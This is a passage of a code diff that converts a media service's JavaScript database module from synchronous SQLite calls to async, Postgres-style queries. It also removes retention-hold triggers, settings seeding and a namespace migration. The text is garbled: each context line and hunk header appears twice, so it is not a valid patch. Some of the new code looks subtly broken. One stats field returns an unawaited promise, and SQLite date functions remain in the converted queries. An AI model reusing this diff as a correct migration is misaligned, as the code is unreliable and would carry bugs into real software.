OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = ${ref})))`;
}
}
-/**
- * Object-model guards that must hold on EVERY delete path, including the many
- * inherited ones that DELETE a vods/clips/files/pastes row directly:
- * - a row whose object is under an unreleased retention hold cannot be deleted, and a clip whose
- * source VOD is held cannot either (even before the clip has an object);
- * - deleting a projected row marks its media_object deleted (bytes accounting
- * and reconciliation keep working without touching each call site).
- * Created here, after migrateColumns, because they reference object_id. The hold guards are the _v2
- * triggers (clips follow their VOD's hold); the first-version ones are dropped.
- */
-function ensureObjectTriggers() {
- // One transaction: replacing a first-version hold guard never leaves a moment without one.
- database.transaction(_ensureObjectTriggers)();
-}
-
-function _ensureObjectTriggers() {
- const held = heldSql;
- // A clip's lookups by object id (the hold rule above) use this index.
- database.exec('CREATE INDEX IF NOT EXISTS idx_clips_object ON clips(object_id)');
- for (const old of ['trg_vods_hold_guard', 'trg_clips_hold_guard', 'trg_files_hold_guard', 'trg_pastes_hold_guard', 'trg_media_objects_hold_guard', 'trg_media_objects_hold_delete']) {
- database.exec(`DROP TRIGGER IF EXISTS ${old}`);
- }
- const vodHeld = `(OLD.vod_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h JOIN vods v ON v.object_id = h.object_id WHERE v.id = OLD.vod_id AND h.released_at IS NULL))`;
- for (const table of ['vods', 'clips', 'files', 'pastes']) {
- database.exec(`
- CREATE TRIGGER IF NOT EXISTS trg_${table}_hold_guard_v2 BEFORE DELETE ON ${table}
- WHEN (OLD.object_id IS NOT NULL AND ${held('OLD.object_id')})${table === 'clips' ? ` OR ${vodHeld}` : ''}
- BEGIN SELECT RAISE(ABORT, 'media object is under a retention hold'); END;
- CREATE TRIGGER IF NOT EXISTS trg_${table}_object_deleted AFTER DELETE ON ${table}
- WHEN OLD.object_id IS NOT NULL
- BEGIN
- UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, CURRENT_TIMESTAMP),
- updated_at = CURRENT_TIMESTAMP
- WHERE id = OLD.object_id AND lifecycle_status != 'deleted';
- END;`);
- }
- database.exec(`
- CREATE TRIGGER IF NOT EXISTS trg_media_objects_hold_guard_v2 BEFORE UPDATE OF lifecycle_status ON media_objects
- WHEN NEW.lifecycle_status = 'deleted' AND OLD.lifecycle_status != 'deleted' AND ${held('OLD.id')}
- BEGIN SELECT RAISE(ABORT, 'media object is under a retention hold'); END;
- CREATE TRIGGER IF NOT EXISTS trg_media_objects_hold_delete_v2 BEFORE DELETE ON media_objects
- WHEN ${held('OLD.id')}
- BEGIN SELECT RAISE(ABORT, 'media object is under a retention hold'); END;`);
- // media.object.visibility_changed / media.object.deleted: staged in the changing transaction,
- // whichever path changed the object (projection sync, soft delete, the row-delete triggers above,
- // operator SQL); server/events.js turns the rows into outbox envelopes.
- database.exec(`
- CREATE TRIGGER IF NOT EXISTS trg_media_objects_visibility_event AFTER UPDATE OF visibility ON media_objects
- WHEN OLD.visibility IS NOT NEW.visibility AND NEW.lifecycle_status != 'deleted'
- BEGIN INSERT INTO media_object_changes (object_id, change, previous_visibility, visibility) VALUES (NEW.id, 'visibility_changed', OLD.visibility, NEW.visibility); END;
- CREATE TRIGGER IF NOT EXISTS trg_media_objects_deleted_event AFTER UPDATE OF lifecycle_status ON media_objects
- WHEN NEW.lifecycle_status = 'deleted' AND OLD.lifecycle_status != 'deleted'
- BEGIN INSERT INTO media_object_changes (object_id, change, previous_visibility) VALUES (NEW.id, 'deleted', OLD.visibility); END;`);
-}
-
/**
/**
* Object-first write (WS-G task 1, retiring C-75): run write() — a change to a projected
* Object-first write (WS-G task 1, retiring C-75): run write() — a change to a projected
* vods/clips/files/pastes row — and re-project the row's media_object in the same transaction
* vods/clips/files/pastes row — and re-project the row's media_object in the same transaction
* (objects/model.js withObject). Throws, with nothing written, when either part fails.
* (objects/model.js withObject). Throws, with nothing written, when either part fails.
*/
*/
-function withObject(kind, ids, write) {
- return require('../objects/model').withObject(kind, ids, write);
-}
-
-function seedSettings() {
- const defaults = [
- // Clip system
- ['max_clip_duration', '60', 'Maximum clip length in seconds', 'number'],
- // Paste system (same keys the inherited routes read)
- ['paste_max_size_kb', '512', 'Maximum paste content size in KB', 'number'],
- ['paste_screenshot_max_size_mb', '8', 'Maximum screenshot upload size in MB', 'number'],
- ['paste_cooldown_seconds', '30', 'Cooldown between paste submissions in seconds (user-JWT callers)', 'number'],
- ['paste_max_per_user_per_day', '200', 'Maximum pastes per user per day (0 = unlimited)', 'number'],
- ['paste_comment_cooldown_seconds', '10', 'Cooldown between paste comments in seconds', 'number'],
- ['paste_comment_max_length', '2000', 'Maximum paste comment length in characters', 'number'],
- ['paste_comment_anon_allowed', 'true', 'Allow anonymous comments on pastes', 'boolean'],
- ];
- const stmt = database.prepare('INSERT OR IGNORE INTO media_settings (key, value, description, type) VALUES (?, ?, ?, ?)');
- for (const [k, v, d, t] of defaults) stmt.run(k, v, d, t);
+async function withObject(kind, ids, write) {
+ return await require('../objects/model').withObject(kind, ids, write);
}
}
// ── Generic helpers ──────────────────────────────────────────
// ── Generic helpers ──────────────────────────────────────────
-function run(sql, params = []) {
- return getDb().prepare(sql).run(...(Array.isArray(params) ? params : [params]));
+async function run(sql, params = []) {
+ return await getDb().prepare(sql).run(...(Array.isArray(params) ? params : [params]));
}
}
-function get(sql, params = []) {
- return getDb().prepare(sql).get(...(Array.isArray(params) ? params : [params]));
+async function get(sql, params = []) {
+ return await getDb().prepare(sql).get(...(Array.isArray(params) ? params : [params]));
}
}
-function all(sql, params = []) {
- return getDb().prepare(sql).all(...(Array.isArray(params) ? params : [params]));
+async function all(sql, params = []) {
+ return await getDb().prepare(sql).all(...(Array.isArray(params) ? params : [params]));
}
}
-function close() {
- if (database) { try { database.close(); } catch { /* ignore */ } database = null; }
+async function close() {
+ const db = database;
+ database = null;
+ // The test process's database (pg-preload.mjs) stays open: a test that closes and reopens gets it back.
+ if (db && db !== globalThis.__ovMediaTestDb) await db.close().catch(() => {});
}
}
// ── Settings ─────────────────────────────────────────────────
// ── Settings ─────────────────────────────────────────────────
-function getSetting(key) {
- const row = get('SELECT value, type FROM media_settings WHERE key = ?', [key]);
+async function getSetting(key) {
+ const row = await get('SELECT value, type FROM media_settings WHERE key = ?', [key]);
if (!row) return null;
if (!row) return null;
if (row.type === 'number') return Number(row.value);
if (row.type === 'number') return Number(row.value);
if (row.type === 'boolean') return row.value === 'true' || row.value === '1';
if (row.type === 'boolean') return row.value === 'true' || row.value === '1';
return row.value;
return row.value;
}
}
-function setSetting(key, value, type = 'string') {
- run(`INSERT INTO media_settings (key, value, type) VALUES (?, ?, ?)
- ON CONFLICT(key) DO UPDATE SET value = excluded.value, updated_at = CURRENT_TIMESTAMP`,
+async function setSetting(key, value, type = 'string') {
+ await run(`INSERT INTO media_settings (key, value, type) VALUES (?, ?, ?)
+ ON CONFLICT(key) DO UPDATE SET value = excluded.value, updated_at = ov_now()`,
[key, String(value), type]);
[key, String(value), type]);
}
}
@@ -241,22 +125,22 @@ function hashApiKey(key) {
@@ -241,22 +125,22 @@ function hashApiKey(key) {
return crypto.createHash('sha256').update(String(key)).digest('hex');
return crypto.createHash('sha256').update(String(key)).digest('hex');
}
}
-function getApp(appId) {
- return get('SELECT * FROM apps WHERE app_id = ?', [appId]);
+async function getApp(appId) {
+ return await get('SELECT * FROM apps WHERE app_id = ?', [appId]);
}
}
-function listApps() {
- return all('SELECT app_id, name, webhook_url, allowed_origins, quota_bytes, created_at FROM apps ORDER BY app_id');
+async function listApps() {
+ return await all('SELECT app_id, name, webhook_url, allowed_origins, quota_bytes, created_at FROM apps ORDER BY app_id');
}
}
-function upsertApp({ app_id, name, api_key, webhook_url, webhook_secret, allowed_origins, quota_bytes }) {
+async function upsertApp({ app_id, name, api_key, webhook_url, webhook_secret, allowed_origins, quota_bytes }) {
if (!app_id || !api_key) throw new Error('app_id and api_key required');
if (!app_id || !api_key) throw new Error('app_id and api_key required');
// Developer-project tenants never get an API key: they are reached only with their project's app tokens.
// Developer-project tenants never get an API key: they are reached only with their project's app tokens.
if (/^prj_/.test(String(app_id))) throw new Error(`${app_id} is a developer-project tenant id; API keys are never issued for those`);
if (/^prj_/.test(String(app_id))) throw new Error(`${app_id} is a developer-project tenant id; API keys are never issued for those`);
- const existing = getApp(app_id);
+ const existing = await getApp(app_id);
if (existing && existing.project_id) throw new Error(`${app_id} is a developer-project tenant; API keys are never issued for those`);
if (existing && existing.project_id) throw new Error(`${app_id} is a developer-project tenant; API keys are never issued for those`);
const origins = JSON.stringify(Array.isArray(allowed_origins) ? allowed_origins : []);
const origins = JSON.stringify(Array.isArray(allowed_origins) ? allowed_origins : []);
- run(`INSERT INTO apps (app_id, name, api_key_hash, webhook_url, webhook_secret, allowed_origins, quota_bytes)
+ await run(`INSERT INTO apps (app_id, name, api_key_hash, webhook_url, webhook_secret, allowed_origins, quota_bytes)
VALUES (?, ?, ?, ?, ?, ?, ?)
VALUES (?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(app_id) DO UPDATE SET
ON CONFLICT(app_id) DO UPDATE SET
name = excluded.name,
name = excluded.name,
@@ -266,8 +150,8 @@ function upsertApp({ app_id, name, api_key, webhook_url, webhook_secret, allowed
@@ -266,8 +150,8 @@ function upsertApp({ app_id, name, api_key, webhook_url, webhook_secret, allowed
allowed_origins = excluded.allowed_origins,
allowed_origins = excluded.allowed_origins,
quota_bytes = excluded.quota_bytes`,
quota_bytes = excluded.quota_bytes`,
[app_id, name || app_id, hashApiKey(api_key), webhook_url || null, webhook_secret || null, origins, quota_bytes || 0]);
[app_id, name || app_id, hashApiKey(api_key), webhook_url || null, webhook_secret || null, origins, quota_bytes || 0]);
- const row = getApp(app_id);
- ensureRootNamespace(row);
+ const row = await getApp(app_id);
+ await ensureRootNamespace(row);
return row;
return row;
}
}
@@ -282,24 +166,24 @@ function projectTenantId(projectId, env) {
@@ -282,24 +166,24 @@ function projectTenantId(projectId, env) {
return env === 'sandbox' ? `${projectId}-sandbox` : projectId;
return env === 'sandbox' ? `${projectId}-sandbox` : projectId;
}
}
-function ensureProjectTenant(projectId, env, quotaBytes) {
+async function ensureProjectTenant(projectId, env, quotaBytes) {
const id = projectTenantId(projectId, env);
const id = projectTenantId(projectId, env);
- run(`INSERT OR IGNORE INTO apps (app_id, name, api_key_hash, quota_bytes, project_id, env)
- VALUES (?, ?, '', ?, ?, ?)`, [id, `project ${projectId} (${env})`, quotaBytes, projectId, env]);
- const row = getApp(id);
+ await run(`INSERT INTO apps (app_id, name, api_key_hash, quota_bytes, project_id, env)
+ VALUES (?, ?, '', ?, ?, ?) ON CONFLICT DO NOTHING`, [id, `project ${projectId} (${env})`, quotaBytes, projectId, env]);
+ const row = await getApp(id);
if (!row || row.project_id !== projectId || row.env !== env || row.api_key_hash) {
if (!row || row.project_id !== projectId || row.env !== env || row.api_key_hash) {
const err = new Error(`tenant id ${id} is taken by a tenant that is not this project's ${env} tenant`);
const err = new Error(`tenant id ${id} is taken by a tenant that is not this project's ${env} tenant`);
err.code = 'media.tenant.conflict';
err.code = 'media.tenant.conflict';
throw err;
throw err;
}
}
- ensureRootNamespace(row);
+ await ensureRootNamespace(row);
return row;
return row;
}
}
/** Is this tenant a developer project's sandbox? Its content is never served from public URLs. */
/** Is this tenant a developer project's sandbox? Its content is never served from public URLs. */
-function isSandboxTenant(appId) {
+async function isSandboxTenant(appId) {
if (!appId) return false;
if (!appId) return false;
- const r = get('SELECT env FROM apps WHERE app_id = ?', [appId]);
+ const r = await get('SELECT env FROM apps WHERE app_id = ?', [appId]);
return !!(r && r.env === 'sandbox');
return !!(r && r.env === 'sandbox');
}
}
@@ -326,67 +210,22 @@ function namespaceOwner(app) {
@@ -326,67 +210,22 @@ function namespaceOwner(app) {
}
}
/** The tenant's root namespace row, created when missing. Returns its name. */
/** The tenant's root namespace row, created when missing. Returns its name. */
-function ensureRootNamespace(app) {
+async function ensureRootNamespace(app) {
const ns = rootNamespace(app);
const ns = rootNamespace(app);
if (!ns) return null;
if (!ns) return null;
- run('INSERT OR IGNORE INTO media_namespaces (namespace, app_id, parent, owner) VALUES (?, ?, NULL, ?)', [ns, app.app_id, namespaceOwner(app)]);
+ await run('INSERT INTO media_namespaces (namespace, app_id, parent, owner) VALUES (?, ?, NULL, ?) ON CONFLICT DO NOTHING', [ns, app.app_id, namespaceOwner(app)]);
return ns;
return ns;
}
}
-/**
- * Namespaces as rows (WS-G task 2). Idempotent, on every open:
- * 1. a developer project's objects move from the tenant id (prj_<ULID>, prj_<ULID>-sandbox), which
- * was their namespace before namespaces were rows, to app.<project_id>[.sandbox];
- * 2. every tenant has its root row, and every namespace an object names has a row (a child with the
- * chain up to its root);
- * 3. once (setting namespaces.reservations_seeded): every native upload still in progress holds a
- * quota reservation of its declared size, expiring MEDIA_UPLOAD_RESERVATION_HOURS after that
- * first open, so an upload that began before reservations existed is not cut short.
- */
-function migrateNamespaces() {
- const insert = database.prepare('INSERT OR IGNORE INTO media_namespaces (namespace, app_id, parent, owner) VALUES (?, ?, ?, ?)');
- database.transaction(() => {
- const apps = new Map(database.prepare('SELECT * FROM apps').all().map(a => [a.app_id, a]));
- const move = database.prepare('UPDATE media_objects SET namespace = ? WHERE app_id = ? AND namespace = ?');
- let moved = 0;
- for (const app of apps.values()) {
- if (app.project_id) moved += move.run(rootNamespace(app), app.app_id, app.app_id).changes;
- insert.run(rootNamespace(app), app.app_id, null, namespaceOwner(app));
- }
- if (moved) console.warn(`[DB] Moved ${moved} developer-project object(s) to their app.<project_id> namespace`);
- const missing = database.prepare(`SELECT DISTINCT o.app_id, o.namespace FROM media_objects o
- LEFT JOIN media_namespaces n ON n.namespace = o.namespace WHERE n.namespace IS NULL`).all();
- for (const m of missing) {
- const app = apps.get(m.app_id) || { app_id: m.app_id };
- const root = rootNamespace(app);
- insert.run(root, app.app_id, null, namespaceOwner(app));
- if (m.namespace === root) continue;
- if (!m.namespace.startsWith(`${root}.`)) { insert.run(m.namespace, app.app_id, null, namespaceOwner(app)); continue; }
- let parent = root;
- for (const seg of m.namespace.slice(root.length + 1).split('.')) {
- insert.run(`${parent}.${seg}`, app.app_id, parent, namespaceOwner(app));
- parent = `${parent}.${seg}`;
- }
- }
- const seeded = database.prepare("SELECT value FROM media_settings WHERE key = 'namespaces.reservations_seeded'").get();
- if (!seeded) {
- const n = database.prepare(`INSERT OR IGNORE INTO media_quota_reservations (object_id, app_id, namespace, bytes, expires_at)
- SELECT id, app_id, namespace, size_bytes, datetime('now', ?) FROM media_objects WHERE lifecycle_status = 'uploading' AND legacy_ref IS NULL`)
- .run(`+${Math.max(1, config.objects.reservationHours)} hours`).changes;
- database.prepare("INSERT OR REPLACE INTO media_settings (key, value, type) VALUES ('namespaces.reservations_seeded', ?, 'string')").run(new Date().toISOString());
- if (n) console.warn(`[DB] ${n} upload(s) in progress now hold a quota reservation`);
- }
- })();
-}
// ── VOD helpers ──────────────────────────────────────────────
// ── VOD helpers ──────────────────────────────────────────────
// The row and its media_object in one transaction (a clips-only recording has no object).
// The row and its media_object in one transaction (a clips-only recording has no object).
-function createVod({ app_id, stream_id, stream_key, managed_stream_id, user_id, title, description, file_path, file_size, duration_seconds, thumbnail_url, master_file_path, meta, visibility, clips_only }) {
+async function createVod({ app_id, stream_id, stream_key, managed_stream_id, user_id, title, description, file_path, file_size, duration_seconds, thumbnail_url, master_file_path, meta, visibility, clips_only }) {
const vis = visibility ? _normVisibility(visibility) : 'public';
const vis = visibility ? _normVisibility(visibility) : 'public';
- return withObject('vod', (r) => r.lastInsertRowid, () => run(
+ return await withObject('vod', (r) => r.lastInsertRowid, async () => await run(
`INSERT INTO vods (app_id, stream_id, stream_key, managed_stream_id, user_id, title, description, file_path, master_file_path, file_size, duration_seconds, thumbnail_url, meta_json, is_public, visibility, clips_only)
`INSERT INTO vods (app_id, stream_id, stream_key, managed_stream_id, user_id, title, description, file_path, master_file_path, file_size, duration_seconds, thumbnail_url, meta_json, is_public, visibility, clips_only)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,
[app_id, stream_id || null, stream_key || null, managed_stream_id || null, user_id || null, title || 'Recording', description || '',
[app_id, stream_id || null, stream_key || null, managed_stream_id || null, user_id || null, title || 'Recording', description || '',
file_path || null, master_file_path || null, file_size || 0, duration_seconds || 0, thumbnail_url || null,
file_path || null, master_file_path || null, file_size || 0, duration_seconds || 0, thumbnail_url || null,
JSON.stringify(meta || {}), vis === 'public' ? 1 : 0, vis, clips_only ? 1 : 0]
JSON.stringify(meta || {}), vis === 'public' ? 1 : 0, vis, clips_only ? 1 : 0]
@@ -394,23 +233,23 @@ function createVod({ app_id, stream_id, stream_key, managed_stream_id, user_id,
@@ -394,23 +233,23 @@ function createVod({ app_id, stream_id, stream_key, managed_stream_id, user_id,
}
}
/** Legacy lookup: resolve a row by its file's basename (old /api/vods/file/<name> URLs). */
/** Legacy lookup: resolve a row by its file's basename (old /api/vods/file/<name> URLs). */
-function _byFileBasename(table, basename, appId) {
+async function _byFileBasename(table, basename, appId) {
const name = path.basename(String(basename || ''));
const name = path.basename(String(basename || ''));
if (!name) return null;
if (!name) return null;
const clause = appId ? ' AND app_id = ?' : '';
const clause = appId ? ' AND app_id = ?' : '';
const params = appId ? [`%${name}`, appId] : [`%${name}`];
const params = appId ? [`%${name}`, appId] : [`%${name}`];
- // LIKE narrows the scan; exact basename match is confirmed in JS (LIKE
+ // ILIKE narrows the scan; exact basename match is confirmed in JS (LIKE
// wildcards inside the filename can't produce false positives that way).
// wildcards inside the filename can't produce false positives that way).
- const rows = all(`SELECT * FROM ${table} WHERE file_path LIKE ?${clause}`, params);
+ const rows = await all(`SELECT * FROM ${table} WHERE file_path ILIKE ?${clause}`, params);
return rows.find(r => r.file_path && path.basename(r.file_path) === name) || null;
return rows.find(r => r.file_path && path.basename(r.file_path) === name) || null;
}
}
-function getVodByFileBasename(basename, appId = null) { return _byFileBasename('vods', basename, appId); }
-function getClipByFileBasename(basename, appId = null) { return _byFileBasename('clips', basename, appId); }
+async function getVodByFileBasename(basename, appId = null) { return await _byFileBasename('vods', basename, appId); }
+async function getClipByFileBasename(basename, appId = null) { return await _byFileBasename('clips', basename, appId); }
-function getVodById(id, appId = null) {
+async function getVodById(id, appId = null) {
const clause = appId ? ' AND app_id = ?' : '';
const clause = appId ? ' AND app_id = ?' : '';
const params = appId ? [id, appId] : [id];
const params = appId ? [id, appId] : [id];
- return get(`SELECT *, COALESCE(duration_seconds, probe_duration_seconds, 0) AS duration_seconds
+ return await get(`SELECT *, COALESCE(duration_seconds, probe_duration_seconds, 0) AS duration_seconds
FROM vods WHERE id = ?${clause}`, params);
FROM vods WHERE id = ?${clause}`, params);
}
}
@@ -452,19 +291,19 @@ function _vodConds(appId, { user_id = null, stream_id = null, managed_stream_id
@@ -452,19 +291,19 @@ function _vodConds(appId, { user_id = null, stream_id = null, managed_stream_id
return { conds, params };
return { conds, params };
}
}
-function listVods(appId, filters = {}) {
+async function listVods(appId, filters = {}) {
const { limit = 50, offset = 0, order = 'newest' } = filters;
const { limit = 50, offset = 0, order = 'newest' } = filters;
const { conds, params } = _vodConds(appId, filters);
const { conds, params } = _vodConds(appId, filters);
params.push(limit, offset);
params.push(limit, offset);
- return all(`SELECT * FROM vods WHERE ${conds.join(' AND ')} ORDER BY ${_listOrder(order)} LIMIT ? OFFSET ?`, params);
+ return await all(`SELECT * FROM vods WHERE ${conds.join(' AND ')} ORDER BY ${_listOrder(order)} LIMIT ? OFFSET ?`, params);
}
}
/** Latest finished public VOD (id + thumbnail) per managed stream — one batch query. */
/** Latest finished public VOD (id + thumbnail) per managed stream — one batch query. */
-function latestVodThumbsByManagedStreams(appId, managedStreamIds) {
+async function latestVodThumbsByManagedStreams(appId, managedStreamIds) {
const ids = (managedStreamIds || []).map(n => parseInt(n, 10)).filter(Number.isFinite);
const ids = (managedStreamIds || []).map(n => parseInt(n, 10)).filter(Number.isFinite);
if (!ids.length) return {};
if (!ids.length) return {};
const ph = ids.map(() => '?').join(',');
const ph = ids.map(() => '?').join(',');
- const rows = all(`
+ const rows = await all(`
SELECT v.managed_stream_id, v.id, v.thumbnail_url
SELECT v.managed_stream_id, v.id, v.thumbnail_url
FROM vods v
FROM vods v
JOIN (SELECT managed_stream_id ms, MAX(created_at) mc FROM vods
JOIN (SELECT managed_stream_id ms, MAX(created_at) mc FROM vods
@@ -480,27 +319,27 @@ function latestVodThumbsByManagedStreams(appId, managedStreamIds) {
@@ -480,27 +319,27 @@ function latestVodThumbsByManagedStreams(appId, managedStreamIds) {
}
}
/** Aggregate per-app media stats for the owning app's dashboards/heroes. */
/** Aggregate per-app media stats for the owning app's dashboards/heroes. */
-function getAppStats(appId) {
- const c = (sql, p = []) => { try { return get(sql, p)?.n || 0; } catch { return 0; } };
- const win = (sql, extraParams = []) => ({
- d: c(sql, [...extraParams, '-1 day']),
- w: c(sql, [...extraParams, '-7 days']),
- m: c(sql, [...extraParams, '-30 days']),
+async function getAppStats(appId) {
+ const c = async (sql, p = []) => { try { return (await get(sql, p))?.n || 0; } catch { return 0; } };
+ const win = async (sql, extraParams = []) => ({
+ d: await c(sql, [...extraParams, '-1 day']),
+ w: await c(sql, [...extraParams, '-7 days']),
+ m: await c(sql, [...extraParams, '-30 days']),
});
});
const vodBase = "FROM vods WHERE app_id = ? AND is_public = 1 AND COALESCE(is_recording,0) = 0 AND COALESCE(clips_only,0) = 0";
const vodBase = "FROM vods WHERE app_id = ? AND is_public = 1 AND COALESCE(is_recording,0) = 0 AND COALESCE(clips_only,0) = 0";
const clipBase = "FROM clips WHERE app_id = ? AND COALESCE(is_public,1) = 1";
const clipBase = "FROM clips WHERE app_id = ? AND COALESCE(is_public,1) = 1";
return {
return {
- vods: c(`SELECT COUNT(*) n ${vodBase}`, [appId]),
- clips: c(`SELECT COUNT(*) n ${clipBase}`, [appId]),
- pastes: c('SELECT COUNT(*) n FROM pastes WHERE app_id = ?', [appId]),
- pasteImages: c("SELECT COUNT(*) n FROM pastes WHERE app_id = ? AND type = 'screenshot'", [appId]),
- pasteText: c("SELECT COUNT(*) n FROM pastes WHERE app_id = ? AND COALESCE(type,'paste') <> 'screenshot'", [appId]),
- durationSeconds: c(`SELECT COALESCE(SUM(duration_seconds),0) n ${vodBase}`, [appId]),
+ vods: await c(`SELECT COUNT(*) n ${vodBase}`, [appId]),
+ clips: await c(`SELECT COUNT(*) n ${clipBase}`, [appId]),
+ pastes: await c('SELECT COUNT(*) n FROM pastes WHERE app_id = ?', [appId]),
+ pasteImages: await c("SELECT COUNT(*) n FROM pastes WHERE app_id = ? AND type = 'screenshot'", [appId]),
+ pasteText: await c("SELECT COUNT(*) n FROM pastes WHERE app_id = ? AND COALESCE(type,'paste') <> 'screenshot'", [appId]),
+ durationSeconds: await c(`SELECT COALESCE(SUM(duration_seconds),0) n ${vodBase}`, [appId]),
recent: {
recent: {
- vods: win(`SELECT COUNT(*) n ${vodBase} AND created_at >= datetime('now', ?)`, [appId]),
- clips: win(`SELECT COUNT(*) n ${clipBase} AND created_at >= datetime('now', ?)`, [appId]),
- hours: (() => {
- const w = win(`SELECT COALESCE(SUM(duration_seconds),0) n ${vodBase} AND created_at >= datetime('now', ?)`, [appId]);
+ vods: await win(`SELECT COUNT(*) n ${vodBase} AND created_at >= datetime('now', ?)`, [appId]),
+ clips: await win(`SELECT COUNT(*) n ${clipBase} AND created_at >= datetime('now', ?)`, [appId]),
+ hours: (async () => {
+ const w = await win(`SELECT COALESCE(SUM(duration_seconds),0) n ${vodBase} AND created_at >= datetime('now', ?)`, [appId]);
return { d: Math.round(w.d / 3600), w: Math.round(w.w / 3600), m: Math.round(w.m / 3600) };
return { d: Math.round(w.d / 3600), w: Math.round(w.w / 3600), m: Math.round(w.m / 3600) };
})(),
})(),
},
},
@@ -515,40 +354,40 @@ const STAT_SERIES = {
@@ -515,40 +354,40 @@ const STAT_SERIES = {
pastes: { base: 'FROM pastes WHERE app_id = ?', agg: 'COUNT(*)' },
pastes: { base: 'FROM pastes WHERE app_id = ?', agg: 'COUNT(*)' },
hours: { base: "FROM vods WHERE app_id = ? AND is_public = 1 AND COALESCE(is_recording,0) = 0 AND COALESCE(clips_only,0) = 0", agg: 'COALESCE(SUM(duration_seconds),0) / 3600.0' },
hours: { base: "FROM vods WHERE app_id = ? AND is_public = 1 AND COALESCE(is_recording,0) = 0 AND COALESCE(clips_only,0) = 0", agg: 'COALESCE(SUM(duration_seconds),0) / 3600.0' },
};
};
-function getAppStatSeries(appId, metric, days = 30) {
+async function getAppStatSeries(appId, metric, days = 30) {
const def = STAT_SERIES[metric];
const def = STAT_SERIES[metric];
if (!def) return null;
if (!def) return null;
days = Math.max(1, Math.min(365, parseInt(days, 10) || 30));
days = Math.max(1, Math.min(365, parseInt(days, 10) || 30));
const since = `-${days - 1} days`;
const since = `-${days - 1} days`;
- const rows = all(`SELECT date(created_at) AS day, ${def.agg} AS value ${def.base} AND created_at >= date('now', ?) GROUP BY day`, [appId, since]);
+ const rows = await all(`SELECT substr(datetime(created_at), 1, 10) AS day, ${def.agg} AS value ${def.base} AND created_at >= substr(datetime('now', ?), 1, 10) GROUP BY day`, [appId, since]);
const byDay = new Map(rows.map((r) => [r.day, Number(r.value) || 0]));
const byDay = new Map(rows.map((r) => [r.day, Number(r.value) || 0]));
const points = [];
const points = [];
for (let i = days - 1; i >= 0; i--) {
for (let i = days - 1; i >= 0; i--) {
const day = new Date(Date.now() - i * 86400000).toISOString().slice(0, 10);
const day = new Date(Date.now() - i * 86400000).toISOString().slice(0, 10);
points.push({ day, value: Number((byDay.get(day) || 0).toFixed(2)) });
points.push({ day, value: Number((byDay.get(day) || 0).toFixed(2)) });
}
}
- const one = (sql, p) => Number(get(sql, p)?.value) || 0;
- const before = one(`SELECT ${def.agg} AS value ${def.base} AND created_at < date('now', ?)`, [appId, since]);
- const prevTotal = one(`SELECT ${def.agg} AS value ${def.base} AND created_at >= date('now', ?) AND created_at < date('now', ?)`, [appId, `-${2 * days - 1} days`, since]);
+ const one = async (sql, p) => Number((await get(sql, p))?.value) || 0;
+ const before = await one(`SELECT ${def.agg} AS value ${def.base} AND created_at < substr(datetime('now', ?), 1, 10)`, [appId, since]);
+ const prevTotal = await one(`SELECT ${def.agg} AS value ${def.base} AND created_at >= substr(datetime('now', ?), 1, 10) AND created_at < substr(datetime('now', ?), 1, 10)`, [appId, `-${2 * days - 1} days`, since]);
const total = Number(points.reduce((n, p) => n + p.value, 0).toFixed(2));
const total = Number(points.reduce((n, p) => n + p.value, 0).toFixed(2));
return { metric, days, points, total, before: Number(before.toFixed(2)), prev_total: Number(prevTotal.toFixed(2)) };
return { metric, days, points, total, before: Number(before.toFixed(2)), prev_total: Number(prevTotal.toFixed(2)) };
}
}
-function countVods(appId, filters = {}) {
+async function countVods(appId, filters = {}) {
const { conds, params } = _vodConds(appId, filters);
const { conds, params } = _vodConds(appId, filters);
- return get(`SELECT COUNT(*) AS count FROM vods WHERE ${conds.join(' AND ')}`, params)?.count || 0;
+ return (await get(`SELECT COUNT(*) AS count FROM vods WHERE ${conds.join(' AND ')}`, params))?.count || 0;
}
}
const VALID_VISIBILITY = new Set(['public', 'unlisted', 'private']);
const VALID_VISIBILITY = new Set(['public', 'unlisted', 'private']);
function _normVisibility(v) { return VALID_VISIBILITY.has(v) ? v : 'public'; }
function _normVisibility(v) { return VALID_VISIBILITY.has(v) ? v : 'public'; }
// Set VOD/clip visibility; is_public mirrors (1 iff public) so listing filters hold. Row and object together.
// Set VOD/clip visibility; is_public mirrors (1 iff public) so listing filters hold. Row and object together.
-function setVodVisibility(vodId, visibility) {
+async function setVodVisibility(vodId, visibility) {
const vis = _normVisibility(visibility);
const vis = _normVisibility(visibility);
- return withObject('vod', vodId, () => run('UPDATE vods SET visibility = ?, is_public = ? WHERE id = ?', [vis, vis === 'public' ? 1 : 0, vodId]));
+ return await withObject('vod', vodId, async () => await run('UPDATE vods SET visibility = ?, is_public = ? WHERE id = ?', [vis, vis === 'public' ? 1 : 0, vodId]));
}
}
-function updateVodHealth(vodId, { status, score, issues = [], probeDuration, probeFormat, quarantine = false, keepPublic = false }) {
+async function updateVodHealth(vodId, { status, score, issues = [], probeDuration, probeFormat, quarantine = false, keepPublic = false }) {
const updates = [];
const updates = [];
const params = [];
const params = [];
if (status) { updates.push('health_status = ?'); params.push(status); }
if (status) { updates.push('health_status = ?'); params.push(status); }
@@ -563,12 +402,12 @@ function updateVodHealth(vodId, { status, score, issues = [], probeDuration, pro
@@ -563,12 +402,12 @@ function updateVodHealth(vodId, { status, score, issues = [], probeDuration, pro
updates.push("last_health_scan_at = datetime('now')");
updates.push("last_health_scan_at = datetime('now')");
params.push(vodId);
params.push(vodId);
if (!updates.length) return null;
if (!updates.length) return null;
- return withObject('vod', vodId, () => run(`UPDATE vods SET ${updates.join(', ')} WHERE id = ?`, params));
+ return await withObject('vod', vodId, async () => await run(`UPDATE vods SET ${updates.join(', ')} WHERE id = ?`, params));
}
}
/** A measured duration (source probe | remux) replaces the stored one (the object's size and duration with it). */
/** A measured duration (source probe | remux) replaces the stored one (the object's size and duration with it). */
-function repairVodDuration(vodId, duration, fileSize, source = 'probe') {
- return withObject('vod', vodId, () => run(
+async function repairVodDuration(vodId, duration, fileSize, source = 'probe') {
+ return await withObject('vod', vodId, async () => await run(
